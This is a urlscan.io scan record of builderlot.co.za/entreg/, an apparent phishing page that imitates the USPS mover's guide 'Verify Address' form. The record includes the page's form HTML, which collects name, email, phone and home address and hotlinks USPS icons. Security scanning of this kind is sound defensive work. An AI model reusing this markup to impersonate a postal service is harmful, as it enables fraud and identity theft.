builderlot.co.za Open in urlscan Pro
116.203.183.205  Public Scan

Submitted URL: https://builderlot.co.za/entreg/
Effective URL: https://builderlot.co.za/entreg/signin
Submission: On June 20 via manual from US — Scanned from DE

Form analysis 1 forms found in the DOM

POST index2

<form action="index2" method="post" class="m-auto tablet:w-1/2">
  <section id="exp-inline-choice"></section>
  <section class="mt-6">
    <div class="c-tooltip">
      <div class="c-tooltip__pass-through">
        <h2 id="step-heading" class="text-xl">
          <span class="font-bold">Enter your contact information</span>
        </h2>
      </div>
      <div class="v-popover">
        <div aria-describedby="popover_b43e3hzerf" class="trigger" style="display: inline-block;"><button type="button" class="c-tooltip__button"><span class="sr-only"> Mover types description </span><img
              src="https://moversguide.usps.com/img/icon.f31093ed.svg" alt="tooltip icon" class="not-sr-only"></button></div>
      </div>
    </div>
    <div role="group" aria-labelledby="individual-help-text" class="mt-6 flex flex-row">
      <p id="individual-help-text" class="flex-auto c-input-label"> Only one person is moving. If you receive mail by more than one name (maiden name, married name or nickname) complete a separate form for each name. </p>
    </div><!----><!---->
  </section>
  <section class="mt-1">
    <div class="c-tooltip"></div>
    <div class="c-input-text mt-3"><label for="first-name" class="c-input-text__label c-input-label">Full Name</label> <input type="text" required="" placeholder="First Last" name="fullname" maxlength="50" value="" tabindex="46" id="fullname"
        class="c-input-text__field c-input-field"><!---->
      <p id="first-name-error" class="c-input-text__helper c-input-helper"></p>
    </div>
    <div class="c-input-text mt-3"><label for="email" class="c-input-text__label c-input-label">Email Address</label><input id="email" placeholder="Email Address" required="" name="email" autocomplete="on" type="email"
        class="c-input-text__field c-input-field"><!---->
      <p id="email-error" class="c-input-text__helper c-input-helper"></p>
    </div>
    <div class="c-input-text mt-3"><label for="phone" class="c-input-text__label c-input-label">Phone Number</label><input type="tel" name="phonee" maxlength="10" required="" placeholder="(000) 000-0000" tabindex="8" id="phonee"
        class="c-input-text__field c-input-field">
      <p id="phone-error" class="c-input-text__helper c-input-helper"></p>
    </div>
  </section>
  <div class="c-hairline mt-6"></div>
  <section class="mt-6">
    <div class="c-tooltip">
      <div class="c-tooltip__pass-through">
        <h3 class="font-bold text-xl"> Enter your address </h3>
        <p id="individual-help-text" class="flex-auto c-input-label">Fill out all the required fields and validate your address so it can be verified as a valid delivery address.</p>
      </div>
      <div class="v-popover">
        <div aria-describedby="popover_3uyqhv1hln" class="trigger" style="display: inline-block;"><button type="button" class="c-tooltip__button"><span class="sr-only"> New address description </span><img
              src="https://moversguide.usps.com/img/icon.f31093ed.svg" alt="tooltip icon" class="not-sr-only"></button></div>
      </div>
    </div>
    <div class="c-input-text mt-3"><label for="new-zip-code" class="c-input-text__label c-input-label">ZIP Code™</label><input type="tel" name="zipp" value="" required="" placeholder="00000" tabindex="13" id="zipp"
        class="c-input-text__field c-input-field"><span id="clear_new-zip-code" class="c-input-text__clear"></span>
      <p id="new-zip-code-error" class="c-input-text__helper c-input-helper"> </p><!---->
    </div>
    <div class="c-input-text mt-3" label="City" placeholder="City" name="new-city" clear="" value="1"><label for="new-city" class="c-input-text__label c-input-label">City</label><input type="text" name="tcity" maxlength="50" placeholder="City"
        tabindex="10" required="" id="tcity" class="c-input-text__field c-input-field"><span id="clear_new-city" class="c-input-text__clear"></span>
      <p id="new-city-error" class="c-input-text__helper c-input-helper"> </p><!---->
    </div>
    <div class="c-input-dropdown mt-3 c-input-dropdown--labeled" label="State" name="new-state" value="AK"><label for="new-state" class="c-input-dropdown__label">State</label>
      <div class="relative flex flex-col"><select name="sstate" tabindex="11" id="sstate" class="c-input-dropdown__field" rel="addressResult">
          <option value=""> Select </option>
          <option value="Alaska (AK)"> Alaska (AK) </option>
          <option value="Alabama (AL)"> Alabama (AL) </option>
          <option value="Arkansas (AR)"> Arkansas (AR) </option>
          <option value="Arizona (AZ)"> Arizona (AZ) </option>
          <option value="California (CA)"> California (CA) </option>
          <option value="Colorado (CO)"> Colorado (CO) </option>
          <option value="Connecticut (CT)"> Connecticut (CT) </option>
          <option value="District of Columbia (DC)"> District of Columbia (DC) </option>
          <option value="Delaware (DE)"> Delaware (DE) </option>
          <option value="Florida (FL)"> Florida (FL) </option>
          <option value="Georgia (GA)"> Georgia (GA) </option>
          <option value="Hawaii (HI)"> Hawaii (HI) </option>
          <option value="Iowa (IA)"> Iowa (IA) </option>
          <option value="Idaho (ID)"> Idaho (ID) </option>
          <option value="Illinois (IL)"> Illinois (IL) </option>
          <option value="Indiana (IN)"> Indiana (IN) </option>
          <option value="Kansas (KS)"> Kansas (KS) </option>
          <option value="Kentucky (KY)"> Kentucky (KY) </option>
          <option value="Louisiana (LA)"> Louisiana (LA) </option>
          <option value="Massachusetts (MA)"> Massachusetts (MA) </option>
          <option value="Maryland (MD)"> Maryland (MD) </option>
          <option value="Maine (ME)"> Maine (ME) </option>
          <option value="Michigan (MI)"> Michigan (MI) </option>
          <option value="Minnesota (MN)"> Minnesota (MN) </option>
          <option value="Missouri (MO)"> Missouri (MO) </option>
          <option value="Mississippi (MS)"> Mississippi (MS) </option>
          <option value="Montana (MT)"> Montana (MT) </option>
          <option value="North Carolina (NC)"> North Carolina (NC) </option>
          <option value="North Dakota (ND)"> North Dakota (ND) </option>
          <option value="Nebraska (NE)"> Nebraska (NE) </option>
          <option value="New Hampshire (NH)"> New Hampshire (NH) </option>
          <option value="New Jersey (NJ)"> New Jersey (NJ) </option>
          <option value="New Mexico (NM)"> New Mexico (NM) </option>
          <option value="Nevada (NV)"> Nevada (NV) </option>
          <option value="New York (NY)"> New York (NY) </option>
          <option value="Ohio (OH)"> Ohio (OH) </option>
          <option value="Oklahoma (OK)"> Oklahoma (OK) </option>
          <option value="Oregon (OR)"> Oregon (OR) </option>
          <option value="Pennsylvania (PA)"> Pennsylvania (PA) </option>
          <option value="Rhode Island (RI)"> Rhode Island (RI) </option>
          <option value="South Carolina (SC)"> South Carolina (SC) </option>
          <option value="South Dakota (SD)"> South Dakota (SD) </option>
          <option value="Tennessee (TN)"> Tennessee (TN) </option>
          <option value="Texas (TX)"> Texas (TX) </option>
          <option value="Utah (UT)"> Utah (UT) </option>
          <option value="Virginia (VA)"> Virginia (VA) </option>
          <option value="Vermont (VT)"> Vermont (VT) </option>
          <option value="Washington (WA)"> Washington (WA) </option>
          <option value="Wisconsin (WI)"> Wisconsin (WI) </option>
          <option value="West Virginia (WV)"> West Virginia (WV) </option>
          <option value="Wyoming (WY)"> Wyoming (WY) </option>
          <option disabled="disabled"> -------------- </option>
          <option value="Armed Forces (the) Americas (AA)"> Armed Forces (the) Americas (AA) </option>
          <option value="Armed Forces Europe (AE)"> Armed Forces Europe (AE) </option>
          <option value="Armed Forces Pacific (AP)"> Armed Forces Pacific (AP) </option>
          <option disabled="disabled"> -------------- </option>
          <option value="American Samoa (AS)"> American Samoa (AS) </option>
          <option value="Federated States of Micronesia (FM)"> Federated States of Micronesia (FM) </option>
          <option value="Guam (GU)"> Guam (GU) </option>
          <option value="Marshall Islands (MH)"> Marshall Islands (MH) </option>
          <option value="Northern Mariana Islands (MP)"> Northern Mariana Islands (MP) </option>
          <option value="Palau (PW)"> Palau (PW) </option>
          <option value="Puerto Rico (PR)"> Puerto Rico (PR) </option>
          <option value="Virgin Islands (VI)"> Virgin Islands (VI) </option>
        </select>
        <img src="https://moversguide.usps.com/img/_icon-chevron.edfd0894.svg" aria-hidden="true" class="c-input-dropdown__chevron">
      </div>
      <p id="new-state-error" class="c-input-dropdown__helper"></p>
    </div>
    <div class="c-input-text mt-3" label="Street Address" placeholder="Street Address" name="new-street-address" clear="" value="1"><label for="new-street-address" class="c-input-text__label c-input-label">Street Address</label><input type="text"
        name="add1" maxlength="50" placeholder="Street Address" required="" tabindex="8" id="taddress" class="c-input-text__field c-input-field"><span id="clear_new-street-address" class="c-input-text__clear"></span>
      <p id="new-street-address-error" class="c-input-text__helper c-input-helper"> <br></p><!---->
    </div><!----><!----><!---->
    <div class="row">
      <div class="col-md-12 col-sm-12 col-xs-12 button-wrapper">
        <div class="button-container">
          <button type="Submit" class="c-btn" id="btn-submit-verifyEmailDlg" name="login">Submit</button>
        </div>
      </div>
    </div>
    <script>
      jQuery(function($) {
        $("#phonee").mask("(999) 999-9999", {
          placeholder: "(___) ___-____"
        });
        $("#zipp").mask("99999", {
          placeholder: "_____"
        });
      });
    </script>
  </section>
</form>

Text Content

Open Menu


VERIFY ADDRESS®




ENTER YOUR CONTACT INFORMATION

Mover types description

Only one person is moving. If you receive mail by more than one name (maiden
name, married name or nickname) complete a separate form for each name.

Full Name



Email Address



Phone Number






ENTER YOUR ADDRESS

Fill out all the required fields and validate your address so it can be verified
as a valid delivery address.

New address description
ZIP Code™



City



State
Select Alaska (AK) Alabama (AL) Arkansas (AR) Arizona (AZ) California (CA)
Colorado (CO) Connecticut (CT) District of Columbia (DC) Delaware (DE) Florida
(FL) Georgia (GA) Hawaii (HI) Iowa (IA) Idaho (ID) Illinois (IL) Indiana (IN)
Kansas (KS) Kentucky (KY) Louisiana (LA) Massachusetts (MA) Maryland (MD) Maine
(ME) Michigan (MI) Minnesota (MN) Missouri (MO) Mississippi (MS) Montana (MT)
North Carolina (NC) North Dakota (ND) Nebraska (NE) New Hampshire (NH) New
Jersey (NJ) New Mexico (NM) Nevada (NV) New York (NY) Ohio (OH) Oklahoma (OK)
Oregon (OR) Pennsylvania (PA) Rhode Island (RI) South Carolina (SC) South Dakota
(SD) Tennessee (TN) Texas (TX) Utah (UT) Virginia (VA) Vermont (VT) Washington
(WA) Wisconsin (WI) West Virginia (WV) Wyoming (WY) -------------- Armed Forces
(the) Americas (AA) Armed Forces Europe (AE) Armed Forces Pacific (AP)
-------------- American Samoa (AS) Federated States of Micronesia (FM) Guam (GU)
Marshall Islands (MH) Northern Mariana Islands (MP) Palau (PW) Puerto Rico (PR)
Virgin Islands (VI)



Street Address




Submit

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